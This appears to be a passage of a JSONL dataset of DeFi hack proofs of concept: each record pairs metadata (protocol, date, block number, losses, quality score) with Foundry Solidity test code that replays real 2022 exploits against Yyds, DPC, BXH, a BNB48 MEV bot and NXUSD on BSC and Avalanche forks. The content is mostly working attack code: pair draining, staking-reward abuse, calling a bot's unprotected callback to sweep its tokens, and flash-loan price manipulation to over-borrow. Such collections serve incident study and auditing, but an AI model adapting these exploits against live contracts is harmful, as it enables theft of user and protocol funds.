"total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n (reserve0, reserve1,) = Pair.getReserves();\n uint256 amount0Out = USDT.balanceOf(address(Pair));\n Pair.swap(amount0Out - 1 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.26, "quality_estimate": "low", "title": "Yyds Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IPair {\n function approve(address, uint256) external;\n function balanceOf(\n address\n ) external returns (uint256);\n}\n\ninterface IDPC {\n function approve(address, uint256) external;\n function balanceOf(\n address\n ) external returns (uint256);\n function tokenAirdrop(address, address, uint256) external;\n function stakeLp(address, address, uint256) external;\n function claimStakeLp(address, uint256) external;\n function claimDpcAirdrop(\n address\n ) external;\n}\n\ncontract ContractTest is Test {\n IDPC DPC = IDPC(0xB75cA3C3e99747d0e2F6e75A9fBD17F5Ac03cebE);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPair Pair = IPair(0x79cD24Ed4524373aF6e047556018b1440CF04be3);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_179_209);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), 18);\n\n DPC.approve(address(Router), ~uint256(0));\n USDT.approve(address(DPC), ~uint256(0));\n USDT.approve(address(Router), ~uint256(0));\n Pair.approve(address(DPC), ~uint256(0));\n WBNB.approve(address(Router), ~uint256(256));\n\n address(WBNB).call{value: 2 ether}(\"\");\n WBNBToUSDT();\n USDTToDPC();\n DPC.tokenAirdrop(address(this), address(DPC), 100);\n addDPCLiquidity();\n DPC.stakeLp(address(this), address(DPC), Pair.balanceOf(address(this)));\n\n cheats.warp(block.timestamp + 24 * 60 * 60); //spend time\n\n for (uint256 i = 0; i < 9; i++) {\n DPC.claimStakeLp(address(this), 1);\n }\n DPC.claimDpcAirdrop(address(this));\n DPCToWBNB();\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function WBNBToUSDT() public {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n Router.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n\n function USDTToDPC() public {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(DPC);\n Router.swapExactTokensForTokens(USDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp);\n }\n\n function addDPCLiquidity() public {\n Router.addLiquidity(\n address(USDT),\n address(DPC),\n USDT.balanceOf(address(this)),\n DPC.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n function DPCToWBNB() public {\n address[] memory path = new address[](3);\n path[0] = address(DPC);\n path[1] = address(USDT);\n path[2] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DPC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "DPC", "date": "2022-09", "file_name": "DPC_exp.sol", "attack_vector": null, "content_hash": "78cdd633afacee3f", "collected_at": "2026-01-07T10:59:16.526249", "_source": "postmortems", "chain": "unknown", "block_number": 21179209, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.71, "quality_estimate": "low", "title": "DPC Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Total Lost : 40085 USDT\n// Attacker : 0x81c63d821b7cdf70c61009a81fef8db5949ac0c9\n// Attack Contract : 0x4e77df7b9cdcecec4115e59546f3eacba095a89f\n// Vulnerable Contract : https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce663\n// Attack Tx 0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f4\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIERC20 constant BXH = IERC20(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);\n\ncontract Attacker is Test {\n IERC20 constant vUSDT = IERC20(0x19195aC5F36F8C75Da129Afca8f92009E292B84a);\n IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakeRouter constant bxhRouter = IPancakeRouter(payable(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01));\n\n IPancakePair constant usdtwbnbpair = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // wbnb/usdt Pair\n IPancakePair constant bxhusdtpair = IPancakePair(0x919964B7f12A742E3D33176D7aF9094EA4152e6f); // bxh/usdt Pair\n\n TokenStakingPoolDelegate constant bxhtokenstaking =\n TokenStakingPoolDelegate(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663);\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 21_727_289);\n cheat.label(address(BXH), \"BXH\");\n cheat.label(address(usdt), \"USDT\");\n cheat.label(address(wbnb), \"WBNB\");\n cheat.label(address(pancakeRouter), \"PancakeRouter\");\n cheat.label(address(usdtwbnbpair), \"usdt/wbnb Pair\");\n cheat.label(address(bxhusdtpair), \"bxh/usdt Pair\");\n cheat.label(address(bxhRouter), \"BXH Router\");\n }\n\n function testExploit() public {\n // Before attack need deposit first\n\n // cheat.rollFork(21665464);\n // cheat.prank(0x81C63d821b7CdF70C61009A81FeF8Db5949AC0C9);\n\n // //emit log_named_decimal_uint(\"[Start] VUSDT Balance Of 0x54f611135A9b88bbE23a8CF6C1310c59321F2717:\", vUSDT.balanceOf(address(0x54f611135A9b88bbE23a8CF6C1310c59321F2717)), 18);\n // vUSDT.transfer(address(this), 5582000000000000000000);\n // emit log_named_decimal_uint(\"[Start] contract VUSDT Balance is:\", vUSDT.balanceOf(address(this)), 18);\n\n // vUSDT.approve(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, type(uint256).max);\n\n // bxhtokenstaking.deposit(0, vUSDT.balanceOf(address(this)));\n // emit log_named_decimal_uint(\"[Start] contract Despoit VUSDT \", vUSDT.balanceOf(address(this)), 18);\n\n //cheat.rollFork(21727289);\n\n emit log_named_decimal_uint(\n \"[Start] BXH-USDT Pair USDT Balance is :\",\n usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)),\n 18\n );\n usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), \"0x\");\n\n emit log_named_decimal_uint(\"[Over] Hacker USDT Balance is :\", usdt.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n console.log(\"[Flashloan] received\");\n //approve bxh router for usdt\n usdt.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(0x55d398326f99059fF775485246999027B3197955);\n path[1] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);\n\n bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n usdt.balanceOf(address(this)) - 805_614_870_582_412_124_618, 1, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"[Flashloan] now Hacker BXH balance is :\", BXH.balanceOf(address(this)), 18);\n\n usdt.transfer(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, 805_614_870_582_412_124_618);\n\n emit log_named_decimal_uint(\n \"[Flashloan] now bxh contract USDT balance is :\",\n usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),\n 18\n );\n\n cheat.startPrank(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f);\n bxhtokenstaking.deposit(0, 0);\n usdt.transfer(address(this), usdt.balanceOf(address(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f)));\n cheat.stopPrank();\n\n emit log_named_decimal_uint(\"[Flashloan] Hacker USDT Balance is :\", usdt.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[Flashloan] bxh contract USDT Balance is :\",\n usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),\n 18\n );\n\n BXH.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);\n\n address[] memory bxh_usdtpath = new address[](2);\n bxh_usdtpath[0] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);\n bxh_usdtpath[1] = address(0x55d398326f99059fF775485246999027B3197955);\n\n bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BXH.balanceOf(address(this)), 1, bxh_usdtpath, address(this), block.timestamp\n );\n\n emit log_named_decimal_uint(\"[Flashloan] Hacker USDT Balance is :\", usdt.balanceOf(address(this)), 18);\n\n uint256 swapfee = amount0 * 26 / 10_000;\n\n usdt.transfer(address(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE), amount0 + swapfee);\n }\n\n receive() external payable {}\n}\n\ninterface TokenStakingPoolDelegate {\n event Deposit(address indexed user, uint256 indexed pid, uint256 amount);\n event DepositDelegate(address indexed user, address toUser, uint256 indexed pid, uint256 amount);\n event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event PoolAdded(\n uint256 _pid,\n uint256 _allocPoint,\n address _lpToken,\n bool _enableBonus,\n address _bonusToken,\n address _swapPairAddress,\n uint256 _lockSeconds,\n uint256 _depositMin,\n uint256 _depositMax\n );\n event PoolAllocateChanged(uint256 _pid, uint256 _allocPoint);\n event PoolBonusChanged(\n uint256 _pid, bool _enableBonus, address _bonusToken, address _swapPairAddress, uint256 _lockSeconds\n );\n event PoolDepositChanged(uint256 _pid, uint256 _depositMin, uint256 _depositMax);\n event SetDelegate(bool, address);\n event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);\n\n function add(\n uint256 _allocPoint,\n address _lpToken,\n bool _enableBonus,\n address _bonusToken,\n address _swapPairAddress,\n uint256 _lockSeconds,\n uint256 _depositMin,\n uint256 _depositMax,\n bool _withUpdate\n ) external;\n\n function adminAddress() external view returns (address);\n\n function batchPrepareRewardTable(\n uint256 spareCount\n ) external returns (uint256);\n\n function claimAllReward() external;\n\n function claimBylpToken(\n address _lpToken\n ) external;\n\n function decayPeriod() external view returns (uint256);\n\n function decayRatio() external view returns (uint256);\n\n function decayTable(\n uint256\n ) external view returns (uint256);\n\n function delegateCaller() external view returns (address);\n\n function deposit(uint256 _pid, uint256 _amount) external;\n\n function depositByDelegate(uint256 _pid, address _toUser, uint256 _amount) external;\n\n function emergencyWithdraw(\n uint256 _pid\n ) external;\n\n function getITokenBlockRewardV(\n uint256 _lastRewardBlock\n ) external view returns (uint256);\n\n function getITokenBlockRewardV(uint256 _lastRewardBlock, uint256 blocknumber) external view returns (uint256);\n\n function getITokenBonusAmount(uint256 _pid, uint256 _amountInToken) external view returns (uint256);\n\n function iToken() external view returns (address);\n\n function lockedToken(uint256 _pid, address _user) external view returns (uint256);\n\n function massUpdatePools() external;\n\n function openDelegate() external view returns (bool);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function pending(uint256 _pid, address _user) external view returns (uint256, uint256);\n\n function pendingAllReward(\n address _user\n ) external view returns (uint256, uint256);\n\n function pendingBylpToken(address _lpToken, address _user) external view returns (uint256, uint256);\n\n function phase(\n uint256 blockNumber\n ) external view returns (uint256);\n\n function poolInfo(\n uint256\n )\n external\n view\n returns (\n address lpToken,\n uint256 allocPoint,\n uint256 lastRewardBlock,\n uint256 accITokenPerShare,\n uint256 totalAmount,\n uint256 lockSeconds,\n bool enableBonus,\n address bonusToken,\n address swapPairAddress,\n uint256 depositMin,\n uint256 depositMax\n );\n\n function poolLength() external view returns (uint256);\n\n function renounceOwnership() external;\n\n function rewardV(\n uint256 blockNumber\n ) external view returns (uint256);\n\n function safeGetITokenBlockReward(\n uint256 _lastRewardBlock\n ) external returns (uint256);\n\n function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;\n\n function setAdmin(\n address _adminAddress\n ) external;\n\n function setBonus(\n uint256 _pid,\n bool _enableBonus,\n address _bonusToken,\n address _swapPairAddress,\n uint256 _lockSeconds\n ) external;\n\n function setDecayPeriod(\n uint256 _block\n ) external;\n\n function setDecayRatio(\n uint256 _ratio\n ) external;\n\n function setDelegate(bool open, address caller) external;\n\n function setPause(\n bool _paused\n ) external;\n\n function setPoolDepositLimited(uint256 _pid, uint256 _depositMin, uint256 _depositMax) external;\n\n function setTokenPerBlock(\n uint256 _newPerBlock\n ) external;\n\n function startBlock() external view returns (uint256);\n\n function tokenPerBlock() external view returns (uint256);\n\n function totalAllocPoint() external view returns (uint256);\n\n function transferOwnership(\n address newOwner\n ) external;\n\n function updatePool(\n uint256 _pid\n ) external;\n\n function userDepositInfo(uint256, address, uint256) external view returns (uint256 orderTime, uint256 amount);\n\n function userInfo(\n uint256,\n address\n ) external view returns (uint256 amount, uint256 rewardDebt, uint256 rewardReceived, uint256 lastReceived);\n\n function withdraw(uint256 _pid, uint256 _amount) external returns (uint256);\n\n function withdrawBylpToken(address _lpToken, uint256 _amount) external;\n\n function withdrawEmergency(address tokenaddress, address to) external;\n\n function withdrawEmergencyNative(address to, uint256 amount) external;\n}\n", "type": "exploit_poc", "protocol": "BXH", "date": "2022-09", "file_name": "BXH_exp.sol", "attack_vector": "flash_loan", "content_hash": "2a4e1735715051ff", "collected_at": "2026-01-07T10:59:16.526299", "_source": "postmortems", "chain": "bsc", "block_number": 21727289, "total_lost_raw": "40085 USDT", "total_lost_usd": 40085.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce663", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": "40085 USDT", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Before attack need deposit first\n\n // cheat.rollFork(21665464);\n // cheat.prank(0x81C63d821b7CdF70C61009A81FeF8Db5949AC0C9);\n\n // //emit log_named_decimal_uint(\"[Start] VUSDT Balance Of 0x54f611135A9b88bbE23a8CF6C1310c59321F2717:\", vUSDT.balanceOf(address(0x54f611135A9b88bbE23a8CF6C1310c59321F2717)), 18);\n // vUSDT.transfer(address(this), 5582000000000000000000);\n // emit log_named_decimal_uint(\"[Start] contract VUSDT Balance is:\", vUSDT.balanceOf(address(this)), 18);\n\n // vUSDT.approve(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, type(uint256).max);\n\n // bxhtokenstaking.deposit(0, vUSDT.balanceOf(address(this)));\n // emit log_named_decimal_uint(\"[Start] contract Despoit VUSDT \", vUSDT.balanceOf(address(this)), 18);\n\n //cheat.rollFork(21727289);\n\n emit log_named_decimal_uint(\n \"[Start] BXH-USDT Pair USDT Balance is :\",\n usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)),\n 18\n );\n usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), \"0x\");\n\n emit log_named_decimal_uint(\"[Over] Hacker USDT Balance is :\", usdt.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce663", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$40.1K", "content_richness_score": 9, "quality_estimate": "high", "title": "BXH Exploit (2022-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface MEVBot {\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n address public _token0;\n address public _token1;\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n MEVBot Bot = MEVBot(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_297_409);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker BUSD balance before exploit\", BUSD.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 18);\n\n uint256 USDTAmount = USDT.balanceOf(address(Bot));\n uint256 WBNBAmount = WBNB.balanceOf(address(Bot));\n uint256 BUSDAmount = BUSD.balanceOf(address(Bot));\n uint256 USDCAmount = USDC.balanceOf(address(Bot));\n\n (_token0, _token1) = (address(USDT), address(USDT));\n Bot.pancakeCall(\n address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(WBNB), address(WBNB));\n Bot.pancakeCall(\n address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(BUSD), address(BUSD));\n Bot.pancakeCall(\n address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(USDC), address(USDC));\n Bot.pancakeCall(\n address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 18);\n }\n\n function token0() public view returns (address) {\n return _token0;\n }\n\n function token1() public view returns (address) {\n return _token1;\n }\n\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}\n}\n", "type": "exploit_poc", "protocol": "BNB48MEVBot", "date": "2022-09", "file_name": "BNB48MEVBot_exp.sol", "attack_vector": null, "content_hash": "4f52d3507a4f9f4b", "collected_at": "2026-01-07T10:59:16.526375", "_source": "postmortems", "chain": "unknown", "block_number": 21297409, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker BUSD balance before exploit\", BUSD.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 18);\n\n uint256 USDTAmount = USDT.balanceOf(address(Bot));\n uint256 WBNBAmount = WBNB.balanceOf(address(Bot));\n uint256 BUSDAmount = BUSD.balanceOf(address(Bot));\n uint256 USDCAmount = USDC.balanceOf(address(Bot));\n\n (_token0, _token1) = (address(USDT), address(USDT));\n Bot.pancakeCall(\n address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(WBNB), address(WBNB));\n Bot.pancakeCall(\n address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(BUSD), address(BUSD));\n Bot.pancakeCall(\n address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n (_token0, _token1) = (address(USDC), address(USDC));\n Bot.pancakeCall(\n address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))\n );\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.59, "quality_estimate": "low", "title": "BNB48MEVBot Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://medium.com/nereus-protocol/post-mortem-flash-loan-exploit-in-single-nxusd-market-343fa32f0c6\n// Refer: https://github.com/kedao/exploitDefiLabs/blob/main/src/test/Nxusd_exp.sol\n// Refer: https://dashboard.tenderly.co/tx/ava/0x0ab12913f9232b27b0664cd2d50e482ad6aa896aeb811b53081712f42d54c026\n\nabstract contract IDegenBox {\n function setMasterContractApproval(\n address user,\n address masterContract,\n bool approved,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual;\n\n function masterContractApproved(address masterContract, address user) external view virtual returns (bool);\n}\n\ninterface ICauldronV2 {\n function updateExchangeRate() external returns (bool, uint256);\n\n function cook(\n uint8[] calldata actions,\n uint256[] calldata values,\n bytes[] calldata datas\n ) external payable returns (uint256, uint256);\n}\n\ncontract ContractTest is Test {\n ILendingPool aaveLendingPool = ILendingPool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);\n ICurvePool CRVPool1 = ICurvePool(0x001E3BA199B4FF4B5B6e97aCD96daFC0E2e4156e);\n ICurvePool CRVPool2 = ICurvePool(0x3a43A5851A3e3E0e25A3c1089670269786be1577);\n IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);\n IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\n IUSDC USDC = IUSDC(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\n IERC20 NXUSD = IERC20(0xF14f4CE569cB3679E99d5059909E23B07bd2F387);\n IDegenBox DegenBox = IDegenBox(0x0B1F9C2211F77Ec3Fa2719671c5646cf6e59B775);\n ICauldronV2 CauldronV2 = ICauldronV2(0xC0A7a7F141b6A5Bce3EC1B81823c8AFA456B6930);\n address metaPool = 0x6BF6fc7EaF84174bb7e1610Efd865f0eBD2AA96D;\n address masterContract = 0xE767C6C3Bf42f550A5A258A379713322B6c4c060;\n // flashLoan\n address[] public _assets = [0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E]; //usdc\n uint256[] public _amounts = [51_000_000_000_000];\n uint256[] public _modes = [0];\n // borrow\n uint8[] public actions = [5, 21, 20, 10];\n uint256[] public values = [0, 0, 0, 0];\n uint256 borrowAmounts = 998_000 * 1e18;\n uint256 share = 0;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 19_613_451);\n }\n\n function testExploit() public {\n USDC.approve(address(Router), type(uint256).max);\n WAVAX.approve(address(Router), type(uint256).max);\n // AAVE flashloan\n aaveLendingPool.flashLoan(address(this), _assets, _amounts, _modes, address(this), new bytes(1), 0);\n\n emit log_named_uint(\"After exploit repaid, profit in USDC of attacker:\", USDC.balanceOf(address(this)) / 1e6);\n }\n\n function executeOperation(\n address[] memory assets,\n uint256[] memory amounts,\n uint256[] memory premiums,\n address initiator,\n bytes memory params\n ) public returns (bool) {\n assets;\n amounts;\n premiums;\n params;\n initiator;\n // get LP token\n buyWAVAXAndAddLP();\n // change LP price\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WAVAX);\n Router.swapExactTokensForTokens(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n\n /*\n * borrow NXUSD\n */\n // set contract apporval\n NXUSD.approve(address(CRVPool1), type(uint256).max);\n Pair.approve(address(DegenBox), type(uint256).max);\n DegenBox.setMasterContractApproval(address(this), masterContract, true, 0, 0, 0);\n // update rate\n CauldronV2.updateExchangeRate();\n // cook function in CauldronV2\n bytes[] memory datas = new bytes[](4);\n datas[0] = abi.encode(borrowAmounts, address(this)); // type borrow\n datas[1] = abi.encode(NXUSD, address(this), borrowAmounts, share); // type withdraw\n datas[2] = abi.encode(Pair, address(this), 45_330_977_931_305_070, share); // type deposit\n datas[3] = abi.encode(-2, address(this), false); // Collateral enter market\n CauldronV2.cook(actions, values, datas);\n\n // sell WAVAX`\n sellWAVAX();\n // NXUSD -> avCRV -> USDC_e\n CRVPool1.exchange_underlying(metaPool, 0, 2, 998_000 * 1e18, 950_000 * 1e6);\n // USDC_e -> USDC\n USDC_e.approve(address(CRVPool2), type(uint256).max);\n CRVPool2.exchange(0, 1, 800_000 * 1e6, 700_000 * 1e6);\n sellUSDC_e();\n USDC.approve(address(aaveLendingPool), type(uint256).max);\n return true;\n }\n\n function buyWAVAXAndAddLP() public {\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WAVAX);\n Router.swapExactTokensForTokens(280_000 * 1e6, 0, path, address(this), block.timestamp);\n Router.addLiquidity(\n address(USDC),\n address(WAVAX),\n 260_000 * 1e6,\n 500_000 * 1e18,\n 250_000 * 1e6,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n function sellWAVAX() public {\n address[] memory path = new address[](2);\n path[0] = address(WAVAX);\n path[1] = address(USDC);\n Router.swapExactTokensForTokens(WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);\n }\n\n function sellUSDC_e() public {\n address[] memory path = new address[](2);\n USDC_e.approve(address(Router), type(uint256).max);\n path[0] = address(USDC_e);\n path[1] = address(USDC);\n Router.swapExactTokensForTokens(USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);\n }\n}\n", "type": "exploit_poc", "protocol": "NXUSD", "date": "2022-09", "file_name": "NXUSD_exp.sol", "attack_vector": "flash_loan", "content_hash": "7985b988a0b53147", "collected_at": "2026-01-07T10:59:16.526418", "_source": "postmortems", "chain": "unknown", "block_number": 19613451, "total_lost_raw": null, "total_lost_usd": null, 